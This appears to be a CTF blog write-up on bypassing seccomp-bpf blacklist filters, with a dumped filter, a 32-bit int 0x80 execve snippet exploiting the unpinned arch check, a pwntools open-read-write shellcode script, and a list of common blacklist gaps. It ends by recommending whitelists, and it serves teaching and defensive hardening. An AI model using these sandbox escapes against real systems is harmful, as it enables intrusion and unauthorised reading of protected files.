algoatson.github.io ~/posts
segfault@algoatson.github.io
back to index

seccomp jails, and the holes in them

2026-04-303 min readpwn seccomp ctf

You land code execution, reach for execve("/bin/sh"), and the process dies with Bad system call (SIGSYS). A seccomp-bpf filter is in the way. The good news: most filters are blacklists, and a blacklist is only as good as its author's memory. Read it, find what they forgot, and walk through.

target./jail
arch
amd64-64-little
seccomp
blacklist (execve killed)
goal
read ./flag despite the filter

read the filter first#

Never guess at the rules — dump them. seccomp-tools runs the binary and prints the BPF program as readable logic:

seccomp-tools dump ./jailtxt
1
2
3
4
5
6
7
8
 line  CODE  JT   JF      K
=================================
 0000: ld    [4]                  ; A = arch
 0001: jeq   0xc000003e  0002 0005 ; AUDIT_ARCH_X86_64 ? next : ALLOW
 0002: ld    [0]                  ; A = nr
 0003: jeq   0x3b       0004 0005 ; nr == 59 (execve) ? KILL : ALLOW
 0004: ret   KILL
 0005: ret   ALLOW

The filter operates on struct seccomp_data: nr at offset 0, arch at offset 4, then the six syscall args. Each rule is a comparison; the last one wins. Here: "if you're x86-64 and calling syscall 59, die; otherwise allow." That and is the whole vulnerability.

hole 1 — the arch check it skipped#

Notice line 0001: if the arch is not AUDIT_ARCH_X86_64, the filter jumps straight to ALLOW. The CPU will happily run 32-bit syscalls via int 0x80, where the same numbers mean different calls — and they arrive tagged AUDIT_ARCH_I386, which this filter waves through:

same nr, different syscalltxt
1
2
3
4
            x86-64 (syscall)     i386 (int 0x80)
  execve         59                    11
  read            0                     3
  write           1                     4

So execve is blocked at nr 59, but the i386 execve is nr 11 and a different arch — both checks miss it. Switch to 32-bit and call it:

32-bit execve through the arch holeasm
1
2
3
; rax/eax = 11 (i386 execve), ebx=&"/bin/sh", ecx=0, edx=0
mov eax, 11
int 0x80                  ; arch=I386 -> filter allows -> shell

x32, the other arch trick

Even when arch is pinned to x86-64, an exact nr == 59 match can be dodged with the x32 ABI: OR __X32_SYSCALL_BIT (0x40000000) into the number. 0x4000003b isn't 0x3b, so a jeq 0x3b blacklist misses it while the kernel still dispatches it. Robust filters check nr >= 0x40000000 and reject.

hole 2 — when execve really is gone: ORW#

A tighter jail kills execve and execveat and pins the arch. Fine — you rarely need a shell, you need the flag. If open/openat, read, and write survive, just open-read-write it out:

orw.py — shellcraft does the syscallspython
1
2
3
4
5
6
from pwn import *
context.arch = "amd64"
sc  = shellcraft.openat(-100, "./flag", 0)   # AT_FDCWD; openat (257) often unblocked
sc += shellcraft.read("rax", "rsp", 0x100)   # fd is returned in rax
sc += shellcraft.write(1, "rsp", 0x100)      # spray it to stdout
run(asm(sc))

The recurring blacklist gaps, in the order I check them:

  • open blocked, openat/openat2 allowed — nr 2 vs 257/437. Almost always the oversight; openat(AT_FDCWD, …) is identical in effect.
  • read/write blocked — fall back to pread64, preadv, readv, sendfile, or splice; or mmap the file and copy it out.
  • arch not pinned — hole 1; switch to i386/int 0x80 numbering.
  • ptrace allowed — escape sideways into another process entirely.
the flag

openat was never on the blacklist, so the jail that "blocks file access" reads its own flag out:

txt
segfault{a_blacklist_is_a_todo_list_for_the_attacker}

The lesson is the same one the filter's author should have internalised: whitelist, don't blacklist. A blacklist is a list of syscalls you remembered to fear; the kernel offers hundreds, across multiple ABIs, several of which are synonyms. A whitelist that allows exactly {openat, read, write, exit_group} and pins the architecture has no holes to find — which is precisely why you so rarely see one under time pressure.